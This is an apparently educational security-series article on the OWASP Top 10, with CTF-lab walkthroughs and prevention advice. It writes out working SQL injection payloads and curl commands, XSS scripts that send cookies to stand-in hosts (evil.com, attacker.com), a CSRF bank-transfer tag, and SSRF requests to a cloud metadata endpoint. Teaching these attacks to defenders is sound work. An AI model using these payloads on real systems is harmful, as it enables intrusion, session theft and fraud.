Web application security: OWASP Top 10
In this series (16 parts)
- How attackers think: the attacker mindset
- Networking fundamentals for security
- Cryptography fundamentals
- Public key infrastructure and certificates
- Authentication and authorization
- Web application security: OWASP Top 10
- Network attacks and defenses
- Linux privilege escalation
- Windows security fundamentals
- Malware types and analysis basics
- Reconnaissance and OSINT
- Exploitation basics and CVEs
- Post-exploitation and persistence
- Defensive security: hardening and monitoring
- Incident response
- CTF skills and practice labs
Most cyberattacks target web applications. They are exposed to the internet, handle sensitive data, and are often built under deadline pressure with security as an afterthought. The OWASP Top 10 is a list of the most critical web application security risks, updated regularly by the Open Web Application Security Project. This article covers the major ones with real examples.
Prerequisites
You should understand authentication and authorization, networking fundamentals, and basic HTTP. For a focused look at XSS, see the existing Cross-Site Scripting article.
SQL Injection
SQL injection happens when user input is inserted directly into a SQL query without sanitization. The attacker modifies the query to read, modify, or delete data.
How it works
A vulnerable login form:
-- The application builds this query with user input
SELECT * FROM users WHERE username = 'INPUT_USER' AND password = 'INPUT_PASS'
Normal input: username = "pratik", password = "secret123"
SELECT * FROM users WHERE username = 'pratik' AND password = 'secret123'
Malicious input: username = "' OR 1=1 --", password = "anything"
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'anything'
The -- comments out the rest of the query. OR 1=1 is always true. The query returns all users, and the application logs in the attacker as the first user (often admin).
Step-by-step SQL injection (lab context)
⚠ The following is for educational purposes in a lab/CTF environment only. Never test on systems you do not own.
Step 1: Test for SQL injection
Enter a single quote in the username field: '
If you get a database error like You have an error in your SQL syntax, the application is vulnerable.
Step 2: Determine the number of columns
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- (if this errors, there are 2 columns)
Step 3: Extract data with UNION
' UNION SELECT username, password FROM users --
Step 4: Read sensitive data
' UNION SELECT table_name, column_name FROM information_schema.columns --
Prevention
# BAD: string concatenation
query = f"SELECT * FROM users WHERE username = '{username}'"
# GOOD: parameterized query
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
Parameterized queries separate the SQL structure from the data. The database engine knows the input is data, never code.
Cross-Site Scripting (XSS)
XSS lets an attacker inject JavaScript into pages viewed by other users. The JavaScript runs in the victim’s browser with full access to cookies, session tokens, and the DOM.
For a deep dive, see Cross-Site Scripting (XSS).
Stored XSS example
A comment form that does not sanitize input:
<!-- User submits this as a comment -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Every user who views the page with this comment has their cookies sent to the attacker’s server. With the session cookie, the attacker can impersonate the victim.
graph TD A[Attacker posts malicious comment] --> B[Server stores comment in database] B --> C[Victim loads the page] C --> D[Browser renders the comment as HTML] D --> E[Malicious script executes] E --> F[Cookies sent to attacker's server] style A fill:#ef5350,stroke:#c62828,color:#fff style F fill:#ef5350,stroke:#c62828,color:#fff
Prevention
- Output encoding: convert
<to<,>to>, etc. - Content Security Policy (CSP): HTTP header that restricts which scripts can run
- HTTPOnly cookies: prevent JavaScript from accessing session cookies
- Use a templating engine that auto-escapes by default
CSRF (Cross-Site Request Forgery)
CSRF tricks a user’s browser into making a request to a site where they are already authenticated.
Example: you are logged into your bank. An attacker’s website has:
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
Your browser sends the request to the bank with your cookies attached. The bank thinks you authorized the transfer.
Prevention
- CSRF tokens: include a unique, unpredictable token in every form. Verify it server-side.
- SameSite cookies: set
SameSite=StrictorSameSite=Laxon session cookies - Check the Origin header: reject requests from unexpected origins
IDOR (Insecure Direct Object Reference)
IDOR happens when the application exposes internal objects (like database IDs) and does not verify the user has permission to access them.
# Your profile
GET /api/users/1001
# Change the ID to see someone else's profile
GET /api/users/1002
If the server returns the other user’s data without checking authorization, that is IDOR.
Prevention
- Always check that the authenticated user has permission to access the requested resource
- Use UUIDs instead of sequential IDs (defense in depth, not a fix by itself)
- Implement proper access control at the API level
SSRF (Server-Side Request Forgery)
SSRF tricks the server into making requests to internal resources that the attacker cannot reach directly.
# Normal usage: fetch a URL
POST /api/fetch-url
{"url": "https://example.com/image.png"}
# SSRF attack: access internal services
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/"} # AWS metadata
{"url": "http://localhost:5432/"} # Internal database
{"url": "http://internal-admin.company.com/"} # Internal tools
The AWS metadata endpoint at 169.254.169.254 can expose IAM credentials, which is a complete cloud account takeover.
Prevention
- Validate and whitelist allowed URL schemes and destinations
- Block requests to internal IP ranges (10.x, 172.16.x, 192.168.x, 169.254.x)
- Use a dedicated network segment for the fetching service
- Do not pass raw URLs from user input to server-side HTTP clients
Security misconfiguration
This is a catch-all for insecure default settings:
- Default credentials left unchanged
- Directory listing enabled on web servers
- Stack traces shown in production error pages
- Unnecessary services running
- Debug mode enabled in production
- Missing security headers
# Check security headers
curl -sI https://yoursite.com | grep -iE "x-frame|x-content|strict-transport|content-security"
Output (good):
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
If these headers are missing, add them.
Example 1: SQL injection step by step
In a CTF lab, you find a search page at http://lab.local/search?q=test. Let’s test for SQL injection:
# Normal request
curl "http://lab.local/search?q=test"
Output:
<h2>Results for: test</h2>
<p>Found 3 items</p>
# Test with a single quote
curl "http://lab.local/search?q=test'"
Output:
<h2>Error: You have an error in your SQL syntax near "test'"</h2>
SQL error in the response. The input is being put directly into a query.
# Confirm with boolean logic
curl "http://lab.local/search?q=test' AND '1'='1"
Output:
<h2>Results for: test</h2>
<p>Found 3 items</p>
curl "http://lab.local/search?q=test' AND '1'='2"
Output:
<h2>Results for: test</h2>
<p>Found 0 items</p>
Different results confirm boolean-based SQL injection. Now extract data:
# Find number of columns with ORDER BY
curl "http://lab.local/search?q=test' ORDER BY 3--" # Works
curl "http://lab.local/search?q=test' ORDER BY 4--" # Error (3 columns)
# Extract database name
curl "http://lab.local/search?q=' UNION SELECT 1,database(),3--"
Output:
<p>1 | webapp_db | 3</p>
Example 2: Stored XSS payload and impact
In a CTF lab, a forum allows posting comments. Let’s demonstrate stored XSS:
# Post a comment with a script tag
curl -X POST "http://lab.local/comments" \
-d "comment=<script>document.title='XSS'</script>"
When any user views the page:
curl "http://lab.local/comments"
Output:
<div class="comment">
<script>document.title='XSS'</script>
</div>
The script executes in every visitor’s browser. A real attacker would use:
<script>
// Steal session cookies
new Image().src = 'https://attacker.com/log?c=' + document.cookie;
// Or redirect to a phishing page
// window.location = 'https://attacker.com/fake-login';
// Or modify the page to show a fake login form
// document.body.innerHTML = '<form action="https://attacker.com/phish">...';
</script>
Impact: session hijacking, account takeover, phishing, malware distribution.
Defense check:
# The comment should be escaped in the HTML
# Instead of: <script>...</script>
# Should be: <script>...</script>
OWASP Top 10 (2021) summary
| Rank | Category | Key issue |
|---|---|---|
| A01 | Broken Access Control | IDOR, missing auth checks |
| A02 | Cryptographic Failures | Weak algorithms, plaintext data |
| A03 | Injection | SQL injection, command injection |
| A04 | Insecure Design | Flaws in architecture, not just bugs |
| A05 | Security Misconfiguration | Defaults, missing headers |
| A06 | Vulnerable Components | Outdated dependencies with known CVEs |
| A07 | Identification Failures | Weak authentication |
| A08 | Software Integrity Failures | Unsigned updates, CI/CD attacks |
| A09 | Logging Failures | No logs, no monitoring |
| A10 | SSRF | Server making unintended requests |
What comes next
The next article covers Network attacks and defenses, where you will see how attacks happen at the network layer, including ARP spoofing, DNS spoofing, and DDoS.
For more on XSS specifically, see Cross-Site Scripting (XSS).